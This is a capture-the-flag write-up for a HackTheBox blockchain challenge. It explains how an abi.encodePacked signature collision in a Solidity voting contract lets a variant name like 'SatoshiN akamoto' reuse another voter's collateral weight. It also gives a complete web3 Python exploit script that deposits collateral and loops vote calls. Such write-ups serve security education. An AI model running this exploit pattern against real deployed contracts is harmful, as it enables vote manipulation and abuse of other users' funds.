HackTheBox Business CTF: Vault Of Hope—NotADemocraticElection CTF Writeup
Welcome back to another writeup! In this post, I’ll be walking you through my step-by-step solution to NotADemocraticElection, a blockchain-based challenge from HackTheBox. This challenge dives into the world of smart contracts and decentralized applications, testing not only your technical skills but also your ability to spot logic flaws hidden within Solidity code. If you’ve ever been curious about how vulnerabilities in blockchain smart contracts can be exploited, or how attackers can manipulate elections on-chain, this writeup will break it all down in a clear and approachable way. I’ll explain the thought process, the weaknesses I identified, and how I crafted the exploit to achieve the final flag.

Challenge Description
In the post-apocalyptic wasteland, the remnants of human and machine factions vie for control over the last vestiges of civilization. The Automata Liberation Front (ALF) and the Cyborgs Independence Movement (CIM) are the two primary parties seeking to establish dominance. In this harsh and desolate world, democracy has taken a backseat, and power is conveyed by wealth. Will you be able to bring back some Democracy in this hopeless land?
For this challenge we're given a two solidity files: NotADemocraticElection.sol and Setup.sol .
Setup.sol
pragma solidity 0.8.25;
import {NotADemocraticElection} from "./NotADemocraticElection.sol";
contract Setup {
NotADemocraticElection public immutable TARGET;
constructor() payable {
TARGET = new NotADemocraticElection(
bytes3("ALF"), "Automata Liberation Front",
bytes3("CIM"), "Cyborgs Indipendence Movement"
);
TARGET.depositVoteCollateral{value: 100 ether}("Satoshi", "Nakamoto");
}
function isSolved() public view returns (bool) {
return TARGET.winner() == bytes3("CIM");
}
}Setup contract is responsible for initializing everything for us. Inside the constructor, it creates a fresh instance of the NotADemocraticElection contract, which represents the election system we’re trying to exploit.
At deployment, two political parties are automatically registered:
ALF → Automata Liberation Front
CIM → Cyborgs Independence Movement
Additionally, the constructor simulates a participant named Satoshi Nakamoto who immediately places a 100 ETH collateral to cast the very first vote. This makes it look like Satoshi is actively backing one of the parties from the start, giving that side an advantage.
Our ultimate objective in this challenge is clearly defined in the isSolved() function. It checks whether the declared winner of the election is the CIM party. In other words, no matter what’s happening under the hood, we need to manipulate the contract in such a way that the Cyborgs Independence Movement emerges victorious.
NotADemocraticElection.sol
pragma solidity 0.8.25;
contract NotADemocraticElection {
// ****************************************************
// ******* NOTE: THIS NOT A DEMOCRATIC ELECTION *******
// ****************************************************
uint256 constant TARGET_VOTES = 1000e18;
struct Party {
string fullname;
uint256 totalvotes;
}
struct Voter {
uint256 weight;
address addr;
}
mapping(bytes3 _id => Party) public parties;
mapping(bytes _sig => Voter) public voters;
mapping(string _name => mapping(string _surname => address _addr)) public uniqueVoters;
bytes3 public winner;
event Voted(
address _voter,
bytes3 _party
);
event VoterDeposited(
address _voter,
uint256 _weight
);
event ElectionWinner(
bytes3 _party
);
constructor(
bytes3 _partyAsymbol , string memory _partyAfullname,
bytes3 _partyBsymbol , string memory _partyBfullname
) {
parties[_partyAsymbol].fullname = _partyAfullname;
parties[_partyBsymbol].fullname = _partyBfullname;
}
function getVotesCount(bytes3 _party) public view returns (uint256) {
return parties[_party].totalvotes;
}
function getVoterSig(string memory _name, string memory _surname) public pure returns (bytes memory) {
return abi.encodePacked(_name, _surname);
}
function checkWinner(bytes3 _party) public {
if (parties[_party].totalvotes >= TARGET_VOTES) {
winner = _party;
emit ElectionWinner(_party);
}
}
function depositVoteCollateral(string memory _name, string memory _surname) external payable {
require(uniqueVoters[_name][_surname] == address(0), "Already deposited");
bytes memory voterSig = getVoterSig(_name, _surname);
voters[voterSig].weight += msg.value;
uniqueVoters[_name][_surname] = msg.sender;
emit VoterDeposited(msg.sender, msg.value);
}
function vote(
bytes3 _party,
string memory _name,
string memory _surname
) public {
require(uniqueVoters[_name][_surname] == msg.sender, "You cannot vote on behalf of others.");
bytes memory voterSig = getVoterSig(_name, _surname);
uint256 voterWeight = voters[voterSig].weight == 0 ? 1 : voters[voterSig].weight;
parties[_party].totalvotes += 1 * voterWeight;
emit Voted(msg.sender, _party);
checkWinner(_party);
}
}Since the contract is already initialized with two political parties, we can ignore the constructor and focus only on the mechanics that drive the voting process.
Core Logic of the Election Contract
Collateral deposit → Before voting, a participant must call
depositVoteCollateral(). This function binds a name/surname pair to an address and locks in some ETH as collateral. Each identity can only register once.Voting → Once registered, the voter can use
vote()to support one of the two parties. Their vote isn’t simply “one account = one vote.” Instead, the weight of the vote is tied to the collateral they provided.Winner check → Every time a vote is cast,
checkWinner()verifies if a party has reached theTARGET_VOTESthreshold. If so, it sets that party as the official winner.Signature system → To identify voters, the contract generates a signature through
getVoterSig(), which combines the name and surname usingabi.encodePacked.
Why Brute-Force Voting Doesn’t Work
At first sight, it might look like you could spam vote() calls with minimal collateral to push your chosen party over the finish line. But the challenge designers were a step ahead. Simply limiting voters to one account is not sufficient, because someone could create thousands of wallets. That’s why this election is “not democratic” — it’s collateral-based voting, where ETH acts as the barrier against Sybil attacks and flash loan tricks.
In theory, you could try depositing 1 ETH and looping votes thousands of times, or splitting your deposit into smaller chunks like 0.5 ETH and doubling the number of transactions. But practically, the cost of gas makes this strategy impossible — your ETH balance would run dry long before you could hit the target. This eliminates the “brute-force” approach.
The Real Weakness: Signature Collisions
The interesting part lies in the getVoterSig() function. Instead of hashing the inputs properly, it uses abi.encodePacked to concatenate the voter’s name and surname. This approach is known to cause collisions, meaning two different (name, surname) pairs can end up producing the exact same signature.
And that’s the loophole. By exploiting signature collisions, it becomes possible to forge voter identities or trick the system into reusing collateral. Instead of playing by the intended rules of depositing ETH and casting votes, we can abuse this design flaw to bypass restrictions and push the CIM party to victory.
The vulnerability lies in how the contract identifies voters. It strictly checks the exact spelling of the registered name and surname to ensure that only the account that deposited collateral can vote:
require(uniqueVoters[_name][_surname] == msg.sender, "You cannot vote on behalf of others.");This check prevents direct impersonation, but it doesn’t stop us from registering slightly altered versions of a legitimate voter. For example, we could create new entries like "Satosh iNakamoto" or "Sato shiNakamoto"—these are treated as completely separate voters during registration.
However, when determining voting weight, the contract calls:
bytes memory voterSig = getVoterSig(_name, _surname);
uint256 voterWeight = voters[voterSig].weight == 0 ? 1 : voters[voterSig].weight;Because getVoterSig generates a signature from the concatenated name and surname using abi.encodePacked, small variations in the name can produce a signature that collides with the original "Satoshi Nakamoto" signature. As a result, our spoofed voter entries inherit the vote weight already assigned to the original voter.
By creating multiple such variations—like "Satos hiNakamoto" or "Sato shiNakamoto"—we can repeatedly cast votes using the same underlying weight. Each new vote effectively multiplies the influence of the original voter, allowing us to quickly reach the vote target and ensure that our chosen party, CIM, wins the election.
Exploitation
Note: for this exploitation to work, we will need the ABI version of the NotADemocraticElection.sol .
Here's the Python script that I've made to compile the NotADemocraticElection.sol to ABI:
from solcx import compile_standard, install_solc
import json
# Install the required Solidity compiler version
install_solc('0.8.25')
# Load your Solidity file
with open('NotADemocraticElection.sol', 'r') as file:
source_code = file.read()
# Compile the contract
compiled_sol = compile_standard(
{
"language": "Solidity",
"sources": {"NotADemocraticElection.sol": {"content": source_code}},
"settings": {
"outputSelection": {
"*": {"*": ["abi", "evm.bytecode", "metadata"]}
}
},
},
solc_version="0.8.25",
)
# Extract the ABI
abi = compiled_sol['contracts']['NotADemocraticElection.sol']['NotADemocraticElection']['abi']
# Save the ABI to a JSON file
with open('NotADemocraticElection_abi.json', 'w') as abi_file:
json.dump(abi, abi_file, indent=4)
print("[+] ABI generated and saved to NotADemocraticElection_abi.json")Run and you should have the ABI version stored in NotADemocraticElection_abi.json .
Now that we have the ABI, it's time to manipulate the system to our advantage and make CIM the winner for this election.
exploit.py
#!/usr/bin/env python3
import json
from web3 import Web3
from eth_account import Account
# Connect to Ethereum Node
node_url = "http://<NODE_URL>:<NODE_PORT>"
w3 = Web3(Web3.HTTPProvider(node_url))
if w3.is_connected():
print(f"[+] Connected to Ethereum node at {node_url}")
else:
print("[-] Failed to connect to Ethereum node")
exit(1)
# Load ABI from external JSON file
with open("NotADemocraticElection_abi.json", "r") as f:
abi = json.load(f)
# Account info
address = "0x<ADDRESS>"
private_key = "0x<PRIVATE_KEY>"
# Smart contract
target_contract = "0x<TARGET_CONTRACT>"
# Voter info
name = "SatoshiN"
surname = "akamoto"
# Initialize Contract & Account Objects
contract_instance = w3.eth.contract(address=target_contract, abi=abi)
account = Account.from_key(private_key)
cim = bytes("CIM", "utf-8") # Party identifier
print("[+] Contract instance and account object initialized")
# Deposit Vote Collateral
print("[*] Preparing depositVoteCollateral transaction...")
nonce = w3.eth.get_transaction_count(address) # Get current account nonce
deposit_tx = contract_instance.functions.depositVoteCollateral(
name, surname
).build_transaction({
"from": address,
"nonce": nonce,
"value": 1
})
signed_deposit = w3.eth.account.sign_transaction(deposit_tx, private_key=private_key)
tx_hash_deposit = w3.eth.send_raw_transaction(signed_deposit.raw_transaction)
print(f"[+] Deposit transaction sent, tx hash: {tx_hash_deposit.hex()}")
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash_deposit)
print(f"[+] Deposit transaction mined in block {tx_receipt.blockNumber}")
# Cast Multiple Votes
print("[*] Starting automated voting sequence...")
for i in range(1, 12):
current_nonce = nonce + i
vote_tx = contract_instance.functions.vote(
cim, name, surname
).build_transaction({
"from": address,
"nonce": current_nonce
})
signed_vote = w3.eth.account.sign_transaction(vote_tx, private_key=private_key)
tx_hash_vote = w3.eth.send_raw_transaction(signed_vote.raw_transaction)
print(f"[+] Vote #{i} transaction sent, tx hash: {tx_hash_vote.hex()}")
vote_receipt = w3.eth.wait_for_transaction_receipt(tx_hash_vote)
print(f"[+] Vote #{i} mined in block {vote_receipt.blockNumber}")
print("[+] All transactions executed successfully.")It directly exploits the signature collision weakness in the NotADemocraticElection contract by registering a slightly modified voter name ("SatoshiN akamoto") that collides with the original "Satoshi Nakamoto" signature. It first deposits a minimal vote collateral for this new “fake” voter, which passes the contract’s uniqueness check. Then, it automates multiple vote() calls using the colliding signature, effectively reusing the original voter’s weight for each vote. By repeating this process, the script multiplies the original voter’s influence, allowing the attacker to rapidly accumulate enough votes to make the CIM party win, bypassing the intended protections against multiple voting.
Here's the output:

At this stage, we can reconnect to the interface via netcat and retrieve the flag!

Now CIM is officially winning the celebration right now ^^
In this challenge, we explored a cleverly disguised vulnerability in the NotADemocraticElection smart contract. The contract attempted to secure the election by requiring voters to deposit ETH collateral, ostensibly preventing multiple votes from a single account. However, the system relied on getVoterSig using abi.encodePacked to calculate voter signatures, which is vulnerable to collisions. This allowed us to create slightly altered voter names that technically passed uniqueness checks but shared the same underlying signature, effectively inheriting the original voter’s weight.
By leveraging this weakness, we automated the process of registering fake voters and casting multiple votes using the colliding signatures. This exploit enabled us to bypass the intended safeguards, quickly accumulate enough votes, and ensure that the CIM party reached the target threshold to win.
This challenge highlights a critical lesson in smart contract security: even mechanisms that appear robust, like vote collateral or uniqueness checks, can be subverted if underlying assumptions—such as the uniqueness of abi.encodePacked outputs—are flawed. It serves as a reminder to carefully consider encoding methods, edge cases, and potential attack vectors when designing blockchain applications.
Last updated